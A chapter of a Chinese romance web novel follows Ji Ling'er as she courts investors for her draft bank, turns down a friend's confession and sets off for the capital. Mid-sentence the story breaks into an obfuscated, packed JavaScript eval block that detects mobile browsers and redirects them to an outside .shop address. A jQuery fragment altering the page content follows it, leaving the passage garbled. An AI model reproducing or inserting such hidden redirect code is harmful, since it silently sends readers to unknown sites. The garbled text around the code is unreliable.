旁边人一拳捶在猜测者肩胛上：“胡说八道什么！师父才大小师弟多少年纪，怎可能是私生子？”


    十一岁零七个月。季灵儿在心中默默回复。


    垂下去的视线落在腰间玉坠上，接着腹诽一句：老牛吃嫩草。


    “不是私生子，难道是师——”


    师娘二字已在嘴边，想想却觉荒唐，转了几转实难出口。


    “是什么都不打紧。”季灵儿适时截住话头，抬眸看向师兄们：“要紧的是往后票号的生意，要仰仗各位师兄多多帮衬。”


    “空口白牙可不成，得拿出诚意来。”


    有人提议，众人跟着附和起哄。


    “好说，今日散学我做东，由师兄们择地方。”季灵儿爽利应道。


    正说笑间，姚怀义踱步过来：“有何喜事，竟如此热闹？”


    “小师弟要设席请客呢。”


    大伙叫师弟习惯了，季灵儿并不纠正。


    “哦？”姚怀义笑着看向季灵儿：“可有算我的份？”


    季灵儿：“姚当家肯赏脸，自是极欢迎的，就怕您不肯占我们小辈的便宜，回头要抢着付账呢。”


    姚怀义闻言大笑：“他们是小辈，你——”


    话到一半却顿住了，意味深长地看着他，惹得众人又生好奇。


    “她如何？”


    季灵儿恐他胡乱说话，正欲接口岔开，姚怀义已笑着道：“她如今可是做大生意的，有出息，可不得趁机讨个便宜！”


    师兄：“不对呀，姚师父为何见小师弟这副打扮不诧异？”


    姚怀义笑说：“我哪能像你们一般没见识。”


    虽这般说笑，姚怀义到底明白给弟子留私隐，未真的赴会。


    季灵儿请客看似话赶话一时兴起，实则早有盘算。


    待酒过三巡，酒酣耳热之际，众人乘酒兴畅谈抱负，谈家中经营困境，季灵儿执壶添酒，佯作不经意提起：“师兄此言倒引起我许多感慨，当今南北商贾频繁，银钱流转需求日增，师兄们不如考虑加入我们票号营生？”


    众人闻言先是静了片刻，随即爆发出哄笑，有人打趣道：“小师弟莫不是醉了，竟要拉我们入伙？”


    但也有心思活络地收了笑意，低头盘算。


    季灵儿不动声色，执盏浅啜一口，眼波偷偷掠过众人反应。


    云衡最了解她，知她不会贸然提及，细想之后追问：“此话怎讲？”


    季灵儿：“简单，用闲银入股生利，或者直接转业投身票号，我可向诸位师兄保证，此行大有可为。”


    “小师弟又诓我们，”曹知祥笑着摇头，“入股生利好说，在座家中多闲钱放贷收息的，挪出些试水也无妨，转业可是牵系一家生计的大事，哪里如你说得轻巧？”


    季灵儿从袖中抽出一纸账目明细，“在座无外人，我也不藏着掖着了，这是我们票号近三月的流水与分红，诸位可先看看收益。”


    众人目光齐刷刷落在纸上，纸上的数字清晰分明，盈利惊人，胜过他们当中许多人的本家营生，随即七嘴八舌议起来。


    季灵儿趁热打铁，又铺开一张路线图，朱批圈出她设想开设分号的据点，逐一详述优劣，最后各点联营成网状，如江河贯通，遍布各个州府，各条商路。


    指尖掠过图纸时，腕上的金元宝坠子跟着动作摆动，熠熠光辉好几次引了她的思绪去。


    倘使秦劭知道她在这里说服他的弟子们入股票号，甚至摒弃旧业，不知要怎么恼她呢。


    会责她胆大妄为么？


    季灵儿试着设想他的神情，气恼的，无奈的......可最终浮现的，是他剑眉折起，漆眸盛满笑意的模样。


    似乎他无论有何情绪，最后都会化作对她的纵容。


    抿唇咽下一抹笑，佯装揉手腕将金坠子往袖中藏了藏，继续同众人说话。


    众人见她有备而来，才知醉翁之意不在酒，有欣赏者感慨她胸中有沟壑，也有质疑者冷言讽她年纪轻，异想天开。


    甚至调笑女子不懂商道，“你以为当街卖酒呢，凭嘴上功夫便想劝人拿真金白银交付，未免太过天真。”


    季灵儿并不恼，笑着驳道：“此言差矣，旁人或可对女子从商有偏见，但师兄与我同出一门，质疑我的能力，岂非连师门教诲也一并质疑了？”


    自然，她也不指望一席话说服所有人，今夜不过投石问路，播撒种子，见时机差不多，收了话头，转而举杯敬酒。


    云衡的目光几乎未离开过她，她说话时便盯着翕张的唇瓣，她默然时又锁着她低垂的睫羽，一颦一笑尽收眼底，连同她方才藏腕间元宝的小动作。


    他低头摩挲着自己腕间的平安结，红绳上那枚铜钱已被抚得温润。


    她相赠的东西自己日日带着，视若珍宝，她腕间戴的莫非是师父所赠......她对它，是否同他一般心境？


    方才见她凝望元宝坠子时唇畔漾起浅笑，是因想起师父了么？


    指腹力道随着思绪渐深加重，红绳在腕上勒出一道深痕，近乎陷入皮肉时觉出痛意，猛然松手，仰头饮尽杯中酒，酒液灼喉而下，烧得心口一阵滚烫。


    酒盏重重搁下，震得桌上其他杯盘轻颤。


    旁边师兄闻声侧目，见他眼泛迷离，只当是醉了，笑谑他酒量太浅。


    云衡揉着额头摇摇晃晃起身，将醉意装得更深，“委实不胜酒力，且容我出去透口气。”


    “你独自一人成吗？要不我陪你去。”师兄瞧着担心欲起身相扶。


    云衡摆摆手，目光飘向季灵儿那边。


    她方才被动静吸引抬眼望来，四目相对的刹那，季灵儿似有所觉，道：“师兄只管尽兴，我陪着他去。”


    师兄视线在二人身上打了个转，顿时领会，半起的身子重新落回椅中，意味深长道：“成，我不扰你们。”


    二人一同离席，席上众人对此心照不宣。


    原来不知季灵儿女子身份，戏言两人断袖，如今身份揭晓再看二人，一个个感慨难怪，或赞两人般配，或疑他们早已暗通款曲。


    说笑戏谑的话留在厢房中，季灵儿跟着云衡转入一间空室，临街的花窗敞着，夜风和着街面喧嚣穿堂而入。


    云衡背倚窗框，静静看着她朝自己走来。


    走到距离他三步远的位置，季灵儿停下了：“你还好吗？”


    云衡摇头。


    “我去叫伙计雇马车送你回去。”季灵儿转身欲走。


    云衡想也不想跨出一步，伸手拉住她手腕，被隐在袖下的硬物硌了掌心，他知道是那个元宝坠子。


    “云衡。”季灵儿蹙眉提醒他，试着扭动手腕，未能挣脱。


    “我没醉，心中不舒服罢了，”云衡收紧手指，执拗地牵着她，嗓音嘶哑，“你同师父......还好吗？”


    元宝同样硌着季灵儿的腕子，她垂眸看着两人相触之处，轻声道：“你攥疼我了。”


    云衡如梦初醒般松了力道，眼睁睁看她揉着手腕后退半步，徒留他掌心空落落的悬在半空，袖口露出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715365|184104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的一截小臂上，系着的红绳格外刺目。


    季灵儿抿唇静默须臾，回了他方才的问题：“我在等他回来。”


    伴着她的话音，云衡收了无处安放的手掌，苦笑着发问：“倘若我早些向你表明心迹，你可会考虑我？”


    感情不是账本，并非拨动算盘珠子就能厘清。


    但季灵儿清楚，她与云衡脾性相投，自相识相知后几乎日日混在一处，云衡的好全然摆在眼前，她未产生情愫，那便是说，即便没有替嫁的插曲，他们的关系亦不会有改变。


    为了彼此好，她不会拖泥带水，遂道：“和他无关，我只拿你当作知己。”


    云衡闭了闭眼，再睁开时，眼底多了几分潮意。


    “我真的很喜欢你。”


    “我明白......”素来恣意张扬的少年捧着一腔热诚同她说喜欢，季灵儿如何能不动容，可她此刻心中澎湃的，唯有感动与歉疚。


    没有爱意，亦没有对秦劭的那种依恋。


    再开口的声音有些发紧：“可是云衡，除了感谢和抱歉，我无法回复你旁的。”


    穿堂而过的夜风卷起窗边轻纱，在两人之间撩动如烟，隔了云衡望过去的视线。


    风吹了许久，待纱幔渐歇，云衡抬袖抿去眼角湿润，扬起一抹她久违的明澈笑意：“再劳烦你一桩事。”


    他将系有红绳的胳膊伸到她面前，“帮我取了吧，别用剪。”


    虽非她亲手所系，但由她亲自解开，也算为这段无果之情作个了结。


    云衡戴时系的是死结，季灵儿用指尖一点一点揪开，费了许久才将结拆解，云衡便一直盯着她，他知道，以后不会再有机会如此近的距离看她了。


    若时间能停驻此刻，该有多好。


    红绳脱离腕间时，云衡几不可闻地叹了口气，摊开掌心要回红绳。


    “值得留作纪念。”他说。


    ...


    自打在云衡面前坦言在等秦劭回来，季灵儿接连几日觉得胸口胀的发闷，总想起秦劭向自己讨要承诺那夜。


    以后的事说不准，情意和人心更是难以捉摸，她不愿空守承诺，不愿松口说会等他，可她瞒不过自己的心。


    抛开情爱不谈，她担心他，记挂他，尤其自仲秋后再没收到他一封书信，她一日比一日恐慌。


    终是没忍住又去找到姚怀义旁敲侧击探问。


    姚怀义说深冬风雪阻隔音讯，商行也无他的消息，倘若一路顺利，算着时间应当已抵达恰克图。


    他说一半藏一半，更加惹人揪心，季灵儿忐忑问：“倘若顺利......那便是有不顺利的可能？”


    姚怀义正色纠正她：“人在外头要多多念好，不可说不吉利的。”


    季灵儿记下这话，是以临去京城前去清心庵，给秦劭和自己各求一枚保平安顺遂的符，将两枚平安符仔细放进原来装茉莉花的香囊里，贴身收着。


    马车行了九日，终于抵达京城，街巷间茶楼酒肆林立，繁华喧闹与河东府迥然不同，刚一进城便遇见一辆双层莲花宝珠顶的马车，车马制式一看便不寻常，前后有护卫开道，左右有丫鬟仆妇随行，气派非凡。


    路上行人纷纷避让，马车一路畅行。


    季灵儿望着那华贵马车渐行渐远，好奇道：“这得是皇亲国戚吧？”


    柳元慧：“瞧规格，应是侯府或是国公府的贵眷。”


    季灵儿原来觉得秦家马车已足够奢华，如今才知天外有天，河东府举足轻重的人家在京城不过寻常。